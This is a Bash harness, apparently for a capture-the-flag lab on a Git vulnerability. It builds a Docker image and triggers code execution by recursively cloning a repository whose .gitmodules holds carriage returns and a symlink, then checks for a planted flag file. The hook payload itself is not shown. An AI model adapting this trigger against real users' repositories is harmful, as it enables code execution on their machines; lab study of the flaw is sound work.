35 lines
940 B
Bash
Executable File
35 lines
940 B
Bash
Executable File
#!/usr/bin/env bash
|
|
set -euo pipefail
|
|
IMAGE=${IMAGE:-cve-48384-ctf}
|
|
CTX=${CTX:-.}
|
|
|
|
build() {
|
|
docker build -t "$IMAGE" "$CTX"
|
|
}
|
|
|
|
run_demo() {
|
|
docker run --rm -t -v "$PWD:/work" -w /work "$IMAGE" bash -lc '
|
|
set -euo pipefail
|
|
echo "Using Git:" && git --version
|
|
echo "Inspecting .gitmodules (showing CR as 0d):"
|
|
hexdump -C .gitmodules | sed -n "1,80p"
|
|
rm -rf /tmp/victim
|
|
echo "Cloning recursively from /work to /tmp/victim..."
|
|
git clone --recurse-submodules /work /tmp/victim
|
|
echo "Listing hooks in victim repo:" && ls -la /tmp/victim/.git/hooks || true
|
|
if [ -f /tmp/flag.txt ]; then
|
|
echo "Flag created:" && cat /tmp/flag.txt
|
|
else
|
|
echo "Flag not found. Ensure vulnerable Git and that symlink/.gitmodules are intact." >&2
|
|
exit 1
|
|
fi
|
|
'
|
|
}
|
|
|
|
case "${1:-}" in
|
|
build) build ;;
|
|
run) run_demo ;;
|
|
all|"") build && run_demo ;;
|
|
*) echo "Usage: $0 [build|run|all]" ; exit 2 ;;
|
|
esac
|